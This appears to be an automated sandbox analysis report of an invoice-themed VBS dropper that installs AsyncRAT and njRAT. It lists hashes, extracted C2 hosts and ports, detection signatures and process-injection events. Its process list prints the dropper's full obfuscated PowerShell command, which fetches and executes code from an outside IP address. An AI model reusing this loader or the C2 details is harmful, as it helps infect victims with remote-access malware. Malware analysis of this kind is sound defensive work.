Analysis
-
max time kernel
147s -
max time network
179s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
10-09-2021 16:02
Static task
static1
Behavioral task
behavioral1
Sample
N00FX02Invoicecopy.vbs
Resource
win7v20210408
General
-
Target
N00FX02Invoicecopy.vbs
-
Size
5KB
-
MD5
9e0bd0f4ce191d98589957b4427cf41c
-
SHA1
00f0cd6cbd74f0be67c4a5ccae6c5bccba40ca28
-
SHA256
d8254110ac2d8ee1e35d89881116ae44e2542adab4b91cfbba532baa180442d9
-
SHA512
20863c334593b5e2b476b6e548ced2c9755609be58e433028d2b4bbdb3236266d8cca9afe131ed163b753a5ea79ff581e75a3e205fc20275c513d4f8119221dd
Malware Config
Extracted
http://52.188.147.221/Spreading/HS.txt
Extracted
asyncrat
0.5.7B
Default
jilldoggyy.duckdns.org:7840
jilldoggyy.duckdns.org:7829
jilldoggyy.duckdns.org:7841
103.147.185.192:7840
103.147.185.192:7829
103.147.185.192:7841
AsyncMutex_6SI8OkPnk
-
anti_vm
false
-
bsod
false
-
delay
3
-
install
false
-
install_folder
%AppData%
-
pastebin_config
null
Extracted
njrat
v4.0
HacKed
20.194.35.6:8023
Windows
-
reg_key
Windows
-
splitter
|-F-|
Signatures
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suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
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suricata: ET MALWARE Observed Malicious SSL Cert (AsyncRAT Server)
suricata: ET MALWARE Observed Malicious SSL Cert (AsyncRAT Server)
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Async RAT payload 3 IoCs
Processes:
resource yara_rule behavioral1/memory/780-91-0x000000000040C77E-mapping.dmp asyncrat behavioral1/memory/780-90-0x0000000000400000-0x0000000000412000-memory.dmp asyncrat behavioral1/memory/780-92-0x0000000000400000-0x0000000000412000-memory.dmp asyncrat -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 6 1928 powershell.exe 7 1928 powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
powershell.exedescription pid process target process PID 1928 set thread context of 780 1928 powershell.exe aspnet_compiler.exe PID 1928 set thread context of 724 1928 powershell.exe aspnet_compiler.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1928 powershell.exe 1928 powershell.exe -
Suspicious use of AdjustPrivilegeToken 25 IoCs
Processes:
powershell.exeaspnet_compiler.exeaspnet_compiler.exedescription pid process Token: SeDebugPrivilege 1928 powershell.exe Token: SeDebugPrivilege 780 aspnet_compiler.exe Token: SeDebugPrivilege 724 aspnet_compiler.exe Token: 33 724 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 724 aspnet_compiler.exe Token: 33 724 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 724 aspnet_compiler.exe Token: 33 724 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 724 aspnet_compiler.exe Token: 33 724 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 724 aspnet_compiler.exe Token: 33 724 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 724 aspnet_compiler.exe Token: 33 724 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 724 aspnet_compiler.exe Token: 33 724 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 724 aspnet_compiler.exe Token: 33 724 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 724 aspnet_compiler.exe Token: 33 724 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 724 aspnet_compiler.exe Token: 33 724 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 724 aspnet_compiler.exe Token: 33 724 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 724 aspnet_compiler.exe -
Suspicious use of WriteProcessMemory 21 IoCs
Processes:
WScript.exepowershell.exedescription pid process target process PID 1652 wrote to memory of 1928 1652 WScript.exe powershell.exe PID 1652 wrote to memory of 1928 1652 WScript.exe powershell.exe PID 1652 wrote to memory of 1928 1652 WScript.exe powershell.exe PID 1928 wrote to memory of 780 1928 powershell.exe aspnet_compiler.exe PID 1928 wrote to memory of 780 1928 powershell.exe aspnet_compiler.exe PID 1928 wrote to memory of 780 1928 powershell.exe aspnet_compiler.exe PID 1928 wrote to memory of 780 1928 powershell.exe aspnet_compiler.exe PID 1928 wrote to memory of 780 1928 powershell.exe aspnet_compiler.exe PID 1928 wrote to memory of 780 1928 powershell.exe aspnet_compiler.exe PID 1928 wrote to memory of 780 1928 powershell.exe aspnet_compiler.exe PID 1928 wrote to memory of 780 1928 powershell.exe aspnet_compiler.exe PID 1928 wrote to memory of 780 1928 powershell.exe aspnet_compiler.exe PID 1928 wrote to memory of 724 1928 powershell.exe aspnet_compiler.exe PID 1928 wrote to memory of 724 1928 powershell.exe aspnet_compiler.exe PID 1928 wrote to memory of 724 1928 powershell.exe aspnet_compiler.exe PID 1928 wrote to memory of 724 1928 powershell.exe aspnet_compiler.exe PID 1928 wrote to memory of 724 1928 powershell.exe aspnet_compiler.exe PID 1928 wrote to memory of 724 1928 powershell.exe aspnet_compiler.exe PID 1928 wrote to memory of 724 1928 powershell.exe aspnet_compiler.exe PID 1928 wrote to memory of 724 1928 powershell.exe aspnet_compiler.exe PID 1928 wrote to memory of 724 1928 powershell.exe aspnet_compiler.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\N00FX02Invoicecopy.vbs"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'http://52XXX188XXX147XXX221/Spreading/HSXXXtxt'.Replace('XXX','.');$SOS='2^===H===^5===H===^^===H===52===H===^`===H===^7===H===^8===H===^e===H===^a===H===^d===H===^b===H===^^===H===^5===H===^`===H===^7===H===^8===H===^a===H===20===H===3d===H===20===H===27===H===`e===H===^5===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===^5===H===`2===H===^3===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===5^===H===27===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===27===H===2c===H===27===H===7^===H===2e===H===57===H===27===H===29===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===27===H===2c===H===27===H===`c===H===^9===H===^5===H===^e===H===27===H===29===H===3b===H===0a===H===2^===H===53===H===58===H===^^===H===^3===H===^`===H===5`===H===^7===H===^2===H===^8===H===^e===H===^a===H===58===H===^^===H===^3===H===^`===H===5`===H===^7===H===^2===H===^8===H===^a===H===^b===H===20===H===3d===H===20===H===27===H===^^===H===^f===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===`1===H===^^===H===53===H===5^===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===^7===H===27===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===27===H===2c===H===27===H===57===H===`e===H===^c===H===`f===H===27===H===29===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===27===H===2c===H===27===H===72===H===^9===H===`e===H===27===H===29===H===3b===H===0a===H===2^===H===53===H===57===H===58===H===^^===H===^5===H===^3===H===52===H===^`===H===^7===H===59===H===^8===H===55===H===^a===H===^9===H===53===H===^^===H===^`===H===5`===H===^7===H===^8===H===^a===H===20===H===3d===H===27===H===^9===H===`0===H===^5===H===58===H===28===H===`e===H===`0===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===`0===H===`3===H===`0===H===5^===H===20===H===2^===H===^5===H===^^===H===52===H===^`===H===^7===H===^8===H===^e===H===^a===H===^d===H===^b===H===^^===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===^7===H===^2===H===^8===H===^e===H===^a===H===53===H===^^===H===^`===H===^7===H===^8===H===29===H===27===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===27===H===2c===H===27===H===`5===H===`0===H===57===H===`0===H===2d===H===^f===H===`2===H===`a===H===`0===H===^5===H===27===H===29===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===27===H===2c===H===27===H===^5===H===^`===H===^7===H===^8===H===^a===H===29===H===2e===H===2^===H===53===H===58===H===^^===H===^3===H===^`===H===5`===H===^7===H===^2===H===^8===H===^e===H===^a===H===58===H===^^===H===^3===H===^`===H===5`===H===^7===H===^2===H===^8===H===^a===H===^b===H===28===H===2^===H===53===H===5a===H===58===H===^^===H===^3===H===^`===H===5`===H===27===H===29===H===3b===H===0a===H===2`===H===28===H===27===H===^9===H===27===H===2b===H===27===H===^5===H===58===H===27===H===29===H===28===H===2^===H===53===H===57===H===58===H===^^===H===^5===H===^3===H===52===H===^`===H===^7===H===59===H===^8===H===55===H===^a===H===^9===H===53===H===^^===H===^`===H===5`===H===^7===H===^8===H===^a===H===20===H===2d===H===^a===H===`f===H===`9===H===`e===H===20===H===27===H===27===H===29===H===7c===H===2`===H===28===H===27===H===^9===H===27===H===2b===H===27===H===^5===H===58===H===27===H===29===H===3b'.Replace('^','4').Replace('`','6');Invoke-Expression (-join ($SOS -split '===' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/724-102-0x00000000054A0000-0x00000000054A1000-memory.dmpFilesize
4KB
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memory/724-99-0x0000000076641000-0x0000000076643000-memory.dmpFilesize
8KB
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memory/724-97-0x0000000000400000-0x000000000040E000-memory.dmpFilesize
56KB
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memory/724-96-0x000000000040836E-mapping.dmp
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memory/724-95-0x0000000000400000-0x000000000040E000-memory.dmpFilesize
56KB
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memory/780-91-0x000000000040C77E-mapping.dmp
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memory/780-101-0x0000000002270000-0x0000000002271000-memory.dmpFilesize
4KB
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memory/780-92-0x0000000000400000-0x0000000000412000-memory.dmpFilesize
72KB
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memory/780-90-0x0000000000400000-0x0000000000412000-memory.dmpFilesize
72KB
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memory/1652-60-0x000007FEFBED1000-0x000007FEFBED3000-memory.dmpFilesize
8KB
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memory/1928-67-0x000000001AAC4000-0x000000001AAC6000-memory.dmpFilesize
8KB
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memory/1928-70-0x000000001AA90000-0x000000001AA91000-memory.dmpFilesize
4KB
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memory/1928-86-0x000000001B5A0000-0x000000001B5A1000-memory.dmpFilesize
4KB
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memory/1928-87-0x000000001AACA000-0x000000001AAE9000-memory.dmpFilesize
124KB
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memory/1928-88-0x000000001CA40000-0x000000001CA41000-memory.dmpFilesize
4KB
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memory/1928-89-0x000000001B5B0000-0x000000001B5B4000-memory.dmpFilesize
16KB
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memory/1928-73-0x000000001C4D0000-0x000000001C4D1000-memory.dmpFilesize
4KB
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memory/1928-85-0x000000001B510000-0x000000001B511000-memory.dmpFilesize
4KB
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memory/1928-69-0x000000001C360000-0x000000001C361000-memory.dmpFilesize
4KB
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memory/1928-68-0x0000000002790000-0x0000000002791000-memory.dmpFilesize
4KB
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memory/1928-66-0x000000001AAC0000-0x000000001AAC2000-memory.dmpFilesize
8KB
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memory/1928-65-0x0000000002760000-0x0000000002761000-memory.dmpFilesize
4KB
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memory/1928-64-0x000000001AB40000-0x000000001AB41000-memory.dmpFilesize
4KB
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memory/1928-63-0x0000000002620000-0x0000000002621000-memory.dmpFilesize
4KB
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memory/1928-61-0x0000000000000000-mapping.dmp